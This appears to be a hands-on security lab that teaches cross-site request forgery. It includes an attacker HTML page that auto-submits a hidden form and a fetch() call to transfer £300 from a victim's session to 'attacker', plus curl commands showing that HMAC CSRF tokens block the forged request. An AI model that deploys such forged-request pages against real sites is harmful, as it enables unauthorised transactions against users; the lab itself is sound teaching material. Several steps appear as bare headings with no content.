Exploit and then defend against CSRF attacks in a live API from Kali Linux:
CSRF forged transfer — make a £200 fund transfer from alice's account without her knowledge or consent, using only her session token and a crafted HTTP request
Demonstrate the attack model — show how a malicious page can trigger state-changing requests cross-origin
Verify CSRF token protection — confirm that HMAC-protected endpoints reject forged requests while accepting legitimate ones
Understand the defence — implement and verify HMAC-based CSRF tokens
Background
CSRF abuses the browser's automatic credential-sending behaviour. When a victim visits a malicious page, their browser automatically includes session cookies or tokens in requests to authenticated sites — enabling the attacker to perform actions as the victim.
Real-world examples:
2008 Gmail CSRF — attackers tricked logged-in Gmail users into visiting a page that silently added an email forwarding rule to [email protected]. All emails forwarded automatically until discovered.
2018 Coinbase — a researcher found a CSRF on the funds transfer endpoint. With one click on a malicious link, an authenticated user would have transferred cryptocurrency to an attacker wallet.
2020 Shopify — CSRF on the store admin panel allowed attackers to add admin accounts to victim stores through a single forged request.
WordPress < 4.7.5 — multiple CSRF vulnerabilities allowed unauthenticated attackers to change site settings, delete posts, and add admin users through malicious links sent to logged-in admins.
OWASP coverage: A01:2021 (Broken Access Control) — "forced browsing" variant; historically its own A8 category
Architecture
Time
35 minutes
Lab Instructions
Step 1: Environment Setup
Step 2: Launch Kali Attacker
📸 Verified Output:
Step 3: CSRF Forged Transfer — No Token Needed
📸 Verified Output:
💡 CSRF works because the server only checks whether the session token is valid — not whether the request was intentionally made by the user. The session token tok_alice is something any page can send if Alice's browser has it stored (cookie, localStorage). A malicious page loads, automatically sends the POST with Alice's session token, and the transfer happens. The user sees nothing.
Step 4: Simulate the Malicious HTML Page
Step 5: CSRF Token Protection — Acquire Token
📸 Verified Output:
Step 6: CSRF Token Blocks Forged Requests
📸 Verified Output:
Step 7: Transfer Log — Before and After
📸 Verified Output:
Step 8: Cleanup
Remediation
Defence
What it prevents
CSRF token (HMAC, per-session)
Cross-origin forged requests
SameSite=Strict cookies
CSRF via cookie auth (browser-level)
Origin / Referer header check
Simple CSRF without tokens
Double-submit cookie pattern
Stateless CSRF protection
Re-authentication for sensitive actions
Even if CSRF succeeds, high-value actions require password
echo "=== What the attacker's malicious HTML page looks like ==="
cat << 'HTML'
<!-- attacker.com/evil.html — loaded in victim's browser -->
<html>
<body onload="document.csrf_form.submit()">
<h1>You won a prize! Claiming...</h1>
<!-- This form auto-submits when the page loads -->
<form name="csrf_form"
action="http://innozverse-shop.com/api/transfer"
method="POST">
<input type="hidden" name="session" value="tok_alice">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="300">
</form>
<!-- OR for JSON APIs — same effect via fetch/XHR -->
<script>
fetch('http://innozverse-shop.com/api/transfer', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include', // sends session cookies automatically
body: JSON.stringify({to:'attacker', amount:300})
});
</script>
</body>
</html>
HTML
echo ""
echo "When Alice visits this page while logged in:"
echo " 1. Browser sends POST with Alice's session cookie automatically"
echo " 2. Server sees valid session token — accepts request"
echo " 3. £300 transferred to attacker"
echo " 4. Alice has no idea (page just shows 'You won a prize!')"
echo "=== Defence: CSRF token protects the transfer endpoint ==="
echo "[1] Alice's page fetches a CSRF token (same-origin only — cross-origin blocked by CORS):"
CSRF_TOKEN=$(curl -s "$TARGET/api/csrf-token?session=tok_alice" | python3 -c "
import sys,json; print(json.load(sys.stdin)['csrf_token'])")
echo " CSRF token: $CSRF_TOKEN"
echo ""
echo "[2] Legitimate transfer (alice's own page, has the token):"
curl -s -X POST -H "Content-Type: application/json" \
-d "{\"session\":\"tok_alice\",\"csrf_token\":\"$CSRF_TOKEN\",\"to\":\"bob\",\"amount\":50}" \
$TARGET/api/transfer-protected | python3 -m json.tool